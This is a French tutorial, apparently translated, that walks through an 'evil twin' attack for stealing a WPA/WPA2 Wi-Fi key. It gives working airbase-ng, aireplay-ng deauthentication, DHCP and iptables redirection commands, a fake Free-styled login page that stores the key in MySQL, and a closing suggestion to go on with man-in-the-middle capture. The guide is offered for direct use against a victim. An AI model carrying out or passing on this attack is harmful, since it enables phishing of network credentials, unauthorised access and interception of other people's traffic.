Backtrack 5 - Hack WPA / WPA2 Key sans bruteforce ( sans aircrack)

Je vous présente ici une nouvelle méthode pour obtenir une clé WPA sans utiliser l'attaque par dictionnaire classique généralement très longue.

Le tuto est traduit du site suivantTechnicdynamic.com

Le but de ce tuto est de présenter une technique de hack différente proche du phishing.

Nous allons dans un premier temps cloner le point d’accès de la victime avec Airbase. Ensuite nous la déconnecterons avec Aireplay pour que celle ci se connecte à notre faux point d'accès. Enfin la victime sera redirigée grâce à Iptables vers une fausse page d'authentification où nous lui demanderons d'entrer sa clé WPA.

Let's GO

Page de redirection

Il vous faut créer une page de connexion avec un champ demandant à l'utilisateur d'entrer sa clé WPA
Voici la page que j'ai crée en m'inspirant de la page de Free, logique étant moi même la victime abonné chez Free.
Voir le screen
Ce formulaire html devra ensuite aller remplir une base mysql avec la clé.
Pour créer la base, lancez le service Mysql, puis entrez les commandes suivantes :
mysql -u root -p
create database wpa2;
use wpa2;
create table content(key1 VARCHAR(64));

Configuration DHCP Server

Tout d'abord, il faut télécharger un serveur dhcp afin d'attribuer une IP à la victime qui viendra se connecter à notre AP : apt-get install dhcp3-server


Sauvegarder le fichier de configuration d'origine :
mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.bak

Puis éditer dhcpd.conf :
gedit /etc/dhcp3/dhcpd.conf

La configuration à copier dans le fichier (récupéré sur le tuto d'origine)
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.2.255;
option routers 192.168.2.129;
option domain-name-servers 8.8.8.8;
range 192.168.2.130 192.168.2.140;
}

On à terminé pour le serveur dhcp

Le point d'accès

Il faut d'abord repérer l'essid et le canal du pointt d'accès de la victime. Dans mon cas, l'essid est "LEMECACOTE" sur le canal 11.
On passe en mode monitoring sur le même canal que l'ap de la victime : airmon-ng start wlan0 11
Dans mon cas l'interface crée est "mon0"

Commandes Airbase

airbase-ng -e "LEMECACOTE" -c 11 mon0


Dans une nouvelle console : ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0
/etc/init.d/dhcp3-server start

Iptables

Dans cette partie on va vider les Iptables
Attention à la ligne où il faut préciser votre interface internet, dans mon cas c'est "eth1"

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface "votre interface internet" -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Puis enfin on redirige le trafique :


iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination ["addresse de votre serveur apache":80]
iptables -t nat -A POSTROUTING -j MASQUERADE


L'adresse de votre serveur apache est la même adresse de votre interface internet. dans mon cas ca donne :
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.0.12:80

Connexion du client à notre AP

Il faut d’abord repérer l'adresse MAC du client, pour cela lancer airodump-ng:
airodump-ng --bssid "bssid du vrai AP" -c "canal de l'AP" mon0
Dans mon cas : airodump-ng --bssid 02:B0:78:3A:E8:A8 -c 11 mon0
Voir le screen
Une fois la cible repérée, il faut utiliser Aireplay avec l'attaque "deauthenticate" pour forcer la déconnexion de la victime.


La victime sera déconnecté d'internet et devra donc refaire la connexion via le gestionnaire des réseaux sans fils. Il verra alors une connexion portant le même nom que la sienne, en se connectant il se verra attribuer une adresse IP par notre serveur DHCP, puis à la première requête internet, il sera redirigé vers la page web que nous aurons crée.

Dans mysql ca donne ça :
mysql -u root -p
use wpa2
select * from content

Nous avons bien la clé WPA dans la table.
Vous pouvez ensuite rediriger l'utilisateur vers internet pour espérer obtenir d'autres informations, comme dans une attaque de type MITM.